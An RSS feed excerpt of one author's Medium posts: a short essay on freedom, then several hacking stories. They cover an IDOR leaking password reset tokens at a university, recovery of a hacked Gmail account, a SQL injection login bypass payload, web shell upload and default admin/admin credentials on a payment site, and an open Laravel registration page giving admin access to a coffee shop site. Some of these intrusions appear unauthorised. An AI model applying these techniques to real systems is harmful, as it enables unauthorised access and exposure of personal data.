            <link>https://christmex.medium.com/freedom-is-a-curse-21cc513e7f93?source=rss-fd8540e08e1e------2</link>
            <guid isPermaLink="false">https://medium.com/p/21cc513e7f93</guid>
            <category><![CDATA[thinking]]></category>
            <category><![CDATA[depression]]></category>
            <category><![CDATA[hope]]></category>
            <category><![CDATA[freedom]]></category>
            <category><![CDATA[loneliness]]></category>
            <dc:creator><![CDATA[JC]]></dc:creator>
            <pubDate>Fri, 07 Nov 2025 06:55:17 GMT</pubDate>
            <atom:updated>2025-11-07T07:09:59.096Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*y02rG7c-dkVTb0VO" /><figcaption>Photo by <a href="https://unsplash.com/@hasanalmasi?utm_source=medium&amp;utm_medium=referral">Hasan Almasi</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p>I’ve always been the kind of person who hates being told what to do. I hate rules. Why does it have to be this way or that way? Why can’t I just do things my own way?</p><p>But at some point, I realized I was wrong. Rules actually exist to free us from freedom itself. It’s the rules that make freedom even possible in the first place.</p><p>Freedom… mate, freedom is the biggest curse ever given to humanity. It’s a trap. Freedom ties up your freedom. I don’t even want to be free anymore.</p><p>I don’t crave freedom like I used to. I’ve got my reasons. Five months ago, I thought life would be amazing once I finally had freedom. Turns out, it wasn’t what I expected at all.</p><p>The freedom I dreamed of turned against me. Freedom took away my freedom. I couldn’t control myself anymore. Freedom chained my life instead of setting me free.</p><p>I don’t even know where to start. My head feels heavy. I can’t think straight. Freedom blurred my mind. It messed up my vision. It ruined my life.</p><p>I became a prisoner of freedom. For five months, I’ve been trapped in something I thought would set me free. I thought I was free to manage my time. Free to eat whatever I want. Free to buy whatever I want. Free to do anything I wanted.</p><p>I thought all that freedom would make me happy, make my life better. But no, it didn’t.</p><p>So what do we actually want as humans? If freedom itself turns out to be the prison that locks us in?</p><p>Right now, I have no idea how to escape this situation. I look free, but deep down, I’m still trapped.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=21cc513e7f93" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Story of How I Hacked an International University in Indonesia]]></title>
            <link>https://infosecwriteups.com/the-story-of-how-i-hacked-an-international-university-in-indonesia-ec819a8c8fc0?source=rss-fd8540e08e1e------2</link>
            <guid isPermaLink="false">https://medium.com/p/ec819a8c8fc0</guid>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[JC]]></dc:creator>
            <pubDate>Thu, 05 Dec 2024 11:18:07 GMT</pubDate>
            <atom:updated>2024-12-05T11:18:07.727Z</atom:updated>
            <content:encoded><![CDATA[<p>My friend suggested I sign up for a university to get a degree (such a thoughtful friend 🫡). He even sent me the registration link. Being my usual curious self, I decided to check out the website’s vulnerabilities.</p><p>I used <strong>temp-mail.org</strong> to get a temporary email for the registration process. After signing up, I got a verification link to activate my account. Once activated and logged in to the system, I opened the network panel, started analyzing the website’s requests, and stumbled upon some interesting URLs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1DcYe2-1KD6VT4wG-ffNig.png" /></figure><p>I copied the request as a <strong>cURL</strong> command, ran it, and got the response in <strong>JSON</strong> format.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3KobIoHWxbWmjxsfD9839g.png" /></figure><p>and if I change the request and set the ID to 37 I get this response</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2gCrVB-qWw9_iwK3AIIkxQ.png" /></figure><p>(Looks like I found an <strong>IDOR vulnerability</strong> before GTA 6 dropped 🙂‍↔️).<br>Turns out the website has an IDOR vulnerability that lets me access everyone’s data in the database. The best part? I can see their NIK (citizenship number), email, and even their password reset tokens which could easily lead to an account takeover. Alright, let me cook folks. 👨‍🍳</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/0*GtjzRkLSjv3dadsK.gif" /></figure><p>I went back to the login page and navigated to the reset password page to request a new password</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*g0xynnKQdcYMpHUPgkBjkw.png" /></figure><p>As we can see, the link contains the user token, which we can access, thanks to the previous IDOR vulnerability. So, I decided to create a new user account just to hack myself 👻.</p><p>I requested a password reset and sent it to my other account. Then, I checked the user reset password token, replaced it with the token I grabbed earlier, and boom 💥 I successfully changed my other account’s password. This same trick could work on any account on the website.</p><p>After this little experiment, I reported the issue to their IT team and shared suggestions on how they could prevent this kind of attack in the future. 🛠️</p><p><strong>What can we learn from this story?</strong></p><ol><li>If you come across a website using a front-end framework, that’s a win, it makes it easier to analyze the APIs they’re sending.</li><li>Find a friend who cares about your education ✌🏻; they might just send you a similar link 🥹</li><li>And remember: <strong>never trust user input</strong>. Always validate and sanitize!</li></ol><p><strong>Tools:</strong></p><ol><li><a href="https://curl.se/">https://curl.se/</a></li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ec819a8c8fc0" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/the-story-of-how-i-hacked-an-international-university-in-indonesia-ec819a8c8fc0">The Story of How I Hacked an International University in Indonesia</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The story of how I took over the hacked social media account]]></title>
            <link>https://osintteam.blog/the-story-of-how-i-took-over-the-hacked-social-media-account-ba416c1ce13a?source=rss-fd8540e08e1e------2</link>
            <guid isPermaLink="false">https://medium.com/p/ba416c1ce13a</guid>
            <category><![CDATA[technology]]></category>
            <category><![CDATA[gmail]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[programming]]></category>
            <dc:creator><![CDATA[JC]]></dc:creator>
            <pubDate>Thu, 11 Jan 2024 02:53:52 GMT</pubDate>
            <atom:updated>2025-02-17T13:51:08.201Z</atom:updated>
            <content:encoded><![CDATA[<h3>How I Took Control of a Hacked Social Media Account</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*0-armbXXBnCRdcf9" /><figcaption>Photo by <a href="https://unsplash.com/@clarktibbs?utm_source=medium&amp;utm_medium=referral">Clark Tibbs</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p>Back at it with another story! Before we dive in, grab your coffee and some cookies because we’re about to kick things off. In this tale, I’ll spill the tea on how to take over your <strong>hacked Gmail account</strong>. Let’s get this show on the road!</p><h3>Story</h3><p>I can still picture it clearly, it was around 8:15 in the morning. I was just sitting with my friend, enjoying our breakfast when I received an email from PayPal. It was a request for $50 from my other friend. I was taken aback because it was an unusual activity. That’s when I realized my friend’s account had been hacked.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/603/1*MMNazLgXvA5VIm5OYexuXg.png" /></figure><p>As you can see, the hacker asked for 50 bucks, with “Please” as his description, lol, it&#39;s so classic, I&#39;m not using English as my primary language, so that&#39;s became more sus.</p><h3>Situation</h3><p>After receiving the email, I contacted my friend to ask if it was from her. She told me it wasn’t, and explained that someone had tried to log into her PayPal, Instagram, TikTok, Microsoft, and Facebook accounts. She was trying to recover her accounts, but unfortunately, she no longer had access to her Gmail. The hacker had already changed her Gmail password and set up a new device using her account.</p><p>At this point, there wasn’t much we could do. The timeline was too far gone since the hack had occurred earlier. The last email she received in her Gmail was around 07:15, and now it was 08:30. We were starting to lose hope.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zV1WX1dpgnaF4EEw06j4pg.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/820/1*8k2xzxXLpCBr8mxSjm67yA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/937/1*uep7TpycnTSYKvrYoIsJZA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/823/1*sf6qJOredY_J0_ZLkLA5Sg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/686/1*zkZOIa-hFlB_EEkCdrIQAQ.png" /></figure><p>The hacker had already set up my friend’s Gmail on his phone and changed the password. From the details we could see, the hacker was based in Nigeria. For a moment, I thought he might be using a VPN, but in the end, I realized he wasn’t.</p><h3>Reclaimed day</h3><p>One week after the incident, my friend told me she had received a message from the hacker via “Find My Device,” instructing her to contact him on Telegram. After hearing this, I made another attempt to recover her account. Here’s what I did:</p><p>I tried syncing the Gmail data several times on her primary phone, knowing that <strong>Gmail saves trusted devices</strong> and usual network identities. During the first few attempts, I encountered syncing errors. However, I persisted and kept trying until Gmail finally recognized the device as trusted, though the data still wouldn’t sync.</p><p>After a few more tries, Gmail prompted me to confirm that the device was safe and trusted. At that point, I was able to change the password from her phone and set up two-factor authentication for Gmail and her other social accounts, while also logging out from all devices. Finally, I successfully regained access to her account.</p><p>Afterward, I tried to trace the hacker’s location. I went to timeline.google.com (logged in as my friend’s Gmail account) to check if there was any data about the phone’s location. And yes, I found something interesting there. You can see it here: the hacker’s timeline.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fMo-gnFAIpMiWHzgaNE-Lg.png" /></figure><p>I tried to access the location using Google Maps, but unfortunately, no data was available, so we couldn’t dig deeper to determine the exact location.</p><h3>What can we learn from this story?</h3><ol><li>Log in from your main phone, as Google saves trusted device information. Remember, your phone is considered more trusted than a laptop or PC.</li><li>If your Gmail account is stuck on your phone after being hacked and you’re not receiving any emails, that’s a good sign. Give it about a week and then try to re-sync your data to recover your account. You can attempt this on the first day, but if it’s not successful, wait about a week before trying again.</li></ol><h3>How to prevent</h3><ol><li>Enable 2FA (Two-Factor Authentication) on your social media accounts.</li><li>Check if any accounts associated with your email have been hacked at<br><a href="https://haveibeenpwned.com/">https://haveibeenpwned.com/</a></li><li>Assess the strength of your password using <a href="https://www.passwordmonster.com/">https://www.passwordmonster.com/</a></li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ba416c1ce13a" width="1" height="1" alt=""><hr><p><a href="https://osintteam.blog/the-story-of-how-i-took-over-the-hacked-social-media-account-ba416c1ce13a">The story of how I took over the hacked social media account</a> was originally published in <a href="https://osintteam.blog/">OSINT Team</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Story of How I Hacked one of the online payment system website]]></title>
            <link>https://infosecwriteups.com/the-story-of-how-i-hacked-one-of-the-online-payment-system-website-twice-b0ba48ed13db?source=rss-fd8540e08e1e------2</link>
            <guid isPermaLink="false">https://medium.com/p/b0ba48ed13db</guid>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[technology]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[JC]]></dc:creator>
            <pubDate>Mon, 20 Nov 2023 14:42:37 GMT</pubDate>
            <atom:updated>2023-12-03T20:14:42.994Z</atom:updated>
            <content:encoded><![CDATA[<p>Back in 2018 when I was in high school, the site owner asked me to check the security of their website. They were curious because I had previously found a vulnerability on another site of theirs and reported it. With their permission, I started exploring the site.</p><p>My first move was to find the login page, as I had successfully performed SQL Injection on their previous website. Although I eventually found the admin panel login page, my attempts at SQL Injection failed this time. 😅 I tried other techniques, but still no luck. Feeling a bit frustrated, I eventually gave up, thinking, “Well, it looks like they’ve done a good job securing this site!”</p><p>But here’s the thing I discovered while searching for their admin login page. I was doing some <strong>Google Dorking</strong> and stumbled upon their blog subdomain, let’s call it blog.redacted.com. Just like before, I thought of giving <strong>SQL injection</strong> a shot on their login page. After locating the login page, I tried out this SQL payload:</p><pre>&#39; or 1=1 limit 1;# -- </pre><p>Guess what happened? I successfully logged into their admin panel and handled their blog posts. To cut the story short, I found a file upload vulnerability in the end. I exploited it to upload my favorite <strong>web shell(B374k 🤫)</strong>, took control of their system, and successfully accessed their server and database. This includes both blog.redacted.com and the main domain that I previously failed to hack.</p><blockquote>Oh, just so you know, this site was using CodeIgniter as their stack. That’s why, at that time, I could still do SQL injection. As we’re aware, SQL injection is still possible on some platforms.</blockquote><p>After that, I was thrilled and reported my findings to them. Following my report, they patched their system and added a <strong>captcha for extra security</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/739/1*yAvnhhCnLApwD5oVlBoFSg.png" /></figure><p>That’s all. I’m trying to keep the story short because that’s not the main story I want to tell you.</p><p>Now, let’s discuss the main story. Recently, I’ve been eager to share the story I wrote earlier. However, I lacked proof to validate whether what I told you was true or not. Anyone can craft a cool story, but without proof, people might call it <strong>script kiddie</strong>. So, I revisited the website. As expected, there was no SQL injection to be found anymore. 😅 But here’s what I did to take control of the system twice.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2F13FD3rp8IqYUXm%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fgiphy.com%2Fgifs%2Fdisney-aladdin-walt-disney-animation-studios-jafar-13FD3rp8IqYUXm&amp;image=https%3A%2F%2Fmedia2.giphy.com%2Fmedia%2Fv1.Y2lkPTc5MGI3NjExazlkNWNnZm82Mm9jZjc5Mml3YWlhNWNnYnZuZjhxOW40NG02czJ2cyZlcD12MV9pbnRlcm5hbF9naWZfYnlfaWQmY3Q9Zw%2F13FD3rp8IqYUXm%2Fgiphy.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="260" frameborder="0" scrolling="no"><a href="https://medium.com/media/16046065351a10485b8b1ad6556fabf8/href">https://medium.com/media/16046065351a10485b8b1ad6556fabf8/href</a></iframe><p>I used Kali Linux on VirtualBox and downloaded an admin panel finder to speed up the search for the admin panel. Here are the results:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_cqfs6N_PlbHt0gbFgmzBg.png" /></figure><p>I checked every page that showed up from that tool, and the valid one was “adminpanel/”. Now, maybe you’ll think the same as me — now what? 😅 SQL Injection seemed impossible. Feeling a bit hopeless, I tried this powerful method. 😌</p><pre>username : admin<br>password : admin </pre><p>IT WORKED! HAHAHAHA! It was a simple <strong>default credentials attack</strong> 😭. I was surprised and, at the same time, feeling a bit crazy because it was something so simple and easy. Maybe every time I go for hacking, luck is always by my side🤣.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NcbGNcBT_cfamt0EA0Dn1w.png" /></figure><p>we’re in and ready to upload our new web shell, just like in the past. After successfully uploading my web shell, I dug deeper into their server and found around 1,000 employee files, including ID cards, driver’s licenses, and personal pictures.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/935/1*CIwV3lo_0aCQdp4kE4dBWg.png" /></figure><p>After making this new discovery, I reported it again to the owner.</p><p><strong>What can we learn from this story?</strong></p><ol><li>it&#39;s not always about the main domain, but it is also about the subdomain 😉.</li><li>Understand their stack at least so we can understand what can we do next.</li><li>Try simple SQL injection on the login page if that system doesn’t use laravel, but if the system uses laravel find the register page HAHA.</li><li>Default credential attacks can be so dangerous sometimes🏃‍♂️.</li></ol><p><strong>Tools:</strong></p><ol><li><a href="https://crt.sh/">https://crt.sh/</a> -&gt; easily find subdomain</li><li><a href="https://github.com/alienwhatever/Admin-Scanner">https://github.com/alienwhatever/Admin-Scanner</a> -&gt; Website Admin Panel Finder</li><li><a href="https://kali.org/">https://kali.org/</a> -&gt; Hacking OS</li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b0ba48ed13db" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/the-story-of-how-i-hacked-one-of-the-online-payment-system-website-twice-b0ba48ed13db">The Story of How I Hacked one of the online payment system website</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Story of How I Hacked My Favorite Coffee Shop]]></title>
            <link>https://osintteam.blog/the-story-of-how-i-hacked-my-favorite-coffee-shop-341092cf3eeb?source=rss-fd8540e08e1e------2</link>
            <guid isPermaLink="false">https://medium.com/p/341092cf3eeb</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[hackerone]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <dc:creator><![CDATA[JC]]></dc:creator>
            <pubDate>Mon, 23 Oct 2023 11:19:59 GMT</pubDate>
            <atom:updated>2025-12-01T23:26:51.132Z</atom:updated>
            <content:encoded><![CDATA[<p>Hey there, it’s been a while since I shared my first bug bounty story. You can check it out <a href="https://medium.com/@christmex/the-story-of-how-i-finally-got-my-first-money-from-hacking-c0bd4b3b2b80">here</a> if you’re interested.</p><p><strong>The Story</strong></p><p>I used to visit this coffee shop almost every week. Then, one day, just before heading back to my place, I had a thought: “Does this coffee shop have a website?” 🤔 So, I fired up Google to find out, and indeed, they did have one.</p><p>I clicked the link, and a sleek website appeared. I decided to check the website’s technology stack using <strong>Wappalyzer </strong>and discovered that it was built with Laravel. As you probably know, I didn’t want to waste my time trying to hack into the login panel, but there was something more intriguing: <strong>the Laravel registration page</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*495miaXl-TOvqS-BeNhiIQ.gif" /></figure><p>I opened the <strong>/register</strong> URL and found that the page was still active. This meant we could register as many times as we wanted, with the hope that by doing so, we might gain admin privileges on the site. As it turned out, I was right. After registering, I navigated to the login page, and boom, I could log in with my credentials and became an admin.</p><p><strong>Timeline</strong></p><p>After discovering this, I tried to contact the owner, but as of now, I haven’t received any response. Consequently, I can’t show the admin panel and other details, as the site remains vulnerable.</p><p><strong>Moral of the story</strong></p><ul><li><em>Well, there isn’t much of a moral here — it’s just a registration page. 😄 But anyway, you get the idea, right? 🤫 Always check that page, and KEEP HACKING! 🔥</em></li></ul><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Ftenor.com%2Fembed%2F11287448&amp;display_name=Tenor&amp;url=https%3A%2F%2Ftenor.com%2Fview%2Fthumbs-up-hacker-mmi-grenoble-hackerman-gif-11287448&amp;image=https%3A%2F%2Fmedia.tenor.com%2FYbmQHDSJvbkAAAAC%2Fthumbs-up-hacker.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=tenor" width="600" height="400" frameborder="0" scrolling="no"><a href="https://medium.com/media/68a392a8ebe48a99f903cb85308e7cd5/href">https://medium.com/media/68a392a8ebe48a99f903cb85308e7cd5/href</a></iframe><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=341092cf3eeb" width="1" height="1" alt=""><hr><p><a href="https://osintteam.blog/the-story-of-how-i-hacked-my-favorite-coffee-shop-341092cf3eeb">The Story of How I Hacked My Favorite Coffee Shop</a> was originally published in <a href="https://osintteam.blog/">OSINT Team</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>